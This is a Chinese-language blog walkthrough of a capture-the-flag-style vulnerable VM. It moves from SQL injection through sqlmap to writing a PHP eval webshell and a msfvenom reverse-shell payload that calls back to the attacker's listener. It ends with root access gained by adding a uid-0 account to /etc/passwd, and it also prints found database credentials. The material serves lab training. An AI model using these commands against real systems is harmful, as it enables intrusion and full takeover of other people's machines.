靶机地址
难度:中等
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
netdiscover
nmap
dirsearch
dirb
gobuster
sqlmap
burpsuite
metasploit
msfvenom
/etc/passwd提权
存疑、待解决
- 在这个靶机中,如何使用
--sql-query
在uploads
目录下写入webshell
一、信息收集
靶机IP:192.168.0.109
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.109
robots.txt
- /m3diNf0/
- /se3reTdir777/uploads/
两个都无法访问
但是/se3reTdir777/
可以访问
页面、目录枚举
第一次,无果
dirb http://192.168.0.109 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html
第二次
python3 dirsearch.py -u http://192.168.0.109/se3reTdir777/ -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.109/se3reTdir777/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
- /se3reTdir777/index.php
- /se3reTdir777/index.php/login/
其实是同一个页面
回到/se3reTdir777/index.php
页面,第一反应想到是SQLi
User ID:1
Id:1
First Name: admin
Last Name: admin
User ID:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1
=>双引号显注
User ID:-1" or 1=1--+
No Result
User ID:2-1
Id:2
First Name: root
Last Name: root
=>字符型
User ID:1" order by 6(或5或4)#
Id:1
First Name: admin
Last Name: admin
User ID:1" and 1=1(或1=2)#
Id:1
First Name: admin
Last Name: admin
直接上sqlmap
burpsuite
进行抓包,将整个POST请求保存到一个txt中
sqlmap -r Desktop/uid.txt --dbs
[10:36:58] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[10:36:58] [INFO] fetching database names
available databases [2]:
[]aiweb1
[] information_schema
sqlmap -r Desktop/uid.txt --current-user
[10:40:20] [INFO] fetching current user
current user: ‘aiweb1user
@localhost’
sqlmap -r Desktop/uid.txt -D aiweb1 --tables
[10:45:55] [INFO] fetching tables for database: ‘aiweb1’
Database: aiweb1
[2 tables]
| user
|
| systemUser
|
sqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser --columns
Database: aiweb1
Table: systemUser
[3 columns]
±---------±------------+
| Column | Type |
±---------±------------+
| id
| int(11) |
| password
| varchar(50) |
| userName
| varchar(25) |
±---------±------------+
sqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser -C id,password,userName
尝试读取/etc/passwd
失败
sqlmap -r Desktop/uid.txt --file-read="/etc/passwd"
获取数据库数据保存的位置
先进入sql-shell
sqlmap -r Desktop/uid.txt --sql-shell
sql-shell> select @@datadir
[11:44:08] [INFO] fetching SQL SELECT statement query output: ‘select @@datadir’
select @@datadir: ‘/var/lib/mysql/
’
再次尝试读取/etc/passwd
sql-shell> select load_file('/etc/passwd')
[11:48:47] [INFO] fetching SQL SELECT statement query output: ‘select load_file(’/etc/passwd’)’
select load_file(’/etc/passwd’): ' '
尝试过--os-shell
,但无奈不知道网站的物理路径
sqlmap -r Desktop/uid.txt --os-shell
二、getshell
转机
犯了个致命的错误,我没有爆破m3diNf0
目录下的页面,菜的安详~~
dirb http://192.168.0.109/m3diNf0/ -X .php,.txt,.zip,.html
发现/m3diNf0/info.php
知道了网站根目录
DOCUMENT_ROOT /home/www/html/web1x443290o2sdf92213
只有知道
物理路径
我们才有可能获取webshell
重新尝试--os-shell
第一次使用的路径是/home/www/html/web1x443290o2sdf92213/
,没有成功,可能是没有写入权限。想到之前有个/se3reTdir777/uploads/
目录,作为上传目录应该是有写入权限的,一试果然可以。
小插曲:我输入
id
查看当前用户,然后提示我是否想接收一个标准输出,我选择了备选项[Y/n/a]
中的Y
,结果返回的结果是No output
,之后输入y
,返回正常……
之后执行sudo -l
,然后又出了点问题,我为什么要一根筋的一直用os-shell?
想在uploads
目录下写入一个shell,先后开始用了--sql-shell
、--sql-query
,结果提示:execution of non-query SQL statements is only available when stacked queries are supported
。关于这个问题的原因可以看sqlmap项目组成员的回答
sqlmap -r Desktop/uid.txt --sql-query='select "<?php @eval($_POST[cmd]); ?>" INTO OUTFILE "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"'
其实这里是对
os-shell
不熟悉,不然就直接使用os-shell
提供的the file stager
上传webshell
了。详情见本篇:后记 1
file-dest写入webshell
尝试使用--file-dest
将webshell
写入到uploads
目录
先使用msfvenom
生成shell代码
记得把生成的shell代码的最前面两个字符
/*
删除。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php
–file-dest将本地shell写入到uploads目录
sqlmap -r Desktop/uid.txt --file-write /root/shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/webshell.php
如果远程存在该文件,则无法写入。
关于sqlmap拿shell,可以看大神
陈小兵
写的一篇文章使用sqlmap渗透常规思路
使用metasploit
接收反弹的shell
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
最后访问http://192.168.0.109/se3reTdir777/uploads/webshell.php
进行shell反弹。
metasploit
收到反弹的shell后,先依次执行下列命令,原因参见Upgrading simple shells to fully interactive TTYs
shell
python -c 'import pty;pty.spawn("/bin/bash")'
三、利用/etc/passwd提权
系统内信息收集
下载LinEnum.sh脚本到靶机,赋予可执行权限,结果运行的时候提示没有权限。
手动搜集能够提权的信息吧,这里参考privilege_escalation_-_linux
内核版本
uname -a
4.15.0-64-generic
searchsploit linux 4.15
有四个本地权限提升的漏洞,我只试了第一个,因为需要靶机安装了gcc
才能进行后续操作,而安装的时候需要使用sudo
命令,我们不知道www-data
用户的登录密码,所以放弃。
cat /etc/passwd
发现有这么几个用户:
aiweb1
aiweb1pwn
在/home/www/html/web1x443290o2sdf92213/se3reTdir777/
目录下发现一个c0nFil3bd.php
,浏览器访问时无内容。cat打开之后发现是个数据库连接配置文件,里面有用户名密码aiweb1user
/wGuDisZiTkLhuiH_z_zZQXXi
,然而没什么用。
#Find SUID
find / -perm -u=s -type f 2>/dev/null
没有发现可用的SUID权限可执行程序
常见的SUID提权程序如下,参见对SUID可提权Root Shell的探究
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- bash
www-data
用户执行sudo
命令需要密码,而且我们也不知道www-data用户在不在/etc/sudoers
中。关于sudo提权,参见how-i-got-root-with-sudo/.
全局可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
添加用户名密码到/etc/passwd
www-data
用户具有/etc/passwd
的可写权限。添加一个用户到/etc/passwd文件中
perl -le 'print crypt("Ai:Web:1.0","salt")'
echo "ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash" >> /etc/passwd
cat /etc/passwd | grep ins1ght
使用su ins1ght
切换账户,密码是Ai:Web:1.0
后记
1.之前我们成功获取了os-shell,成功获取os-shell后会在uploads目录下生成两个php文件,一个php文件(the file stager
)的作用的是提供上传文件的功能,另一个就是webshell文件(the backdoor
)。如下面两个图中所示,
2.LinEnum.sh
不可执行,但是我们可以使用linuxprivchecker.py
3.赋予LinEnum.sh
权限的时候如果使用命令chmod 777 LinEnum.sh
,即给予全局的RWX那么在执行的时候是不会报错的,可能是脚本在执行的过程中需要读写权限。
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。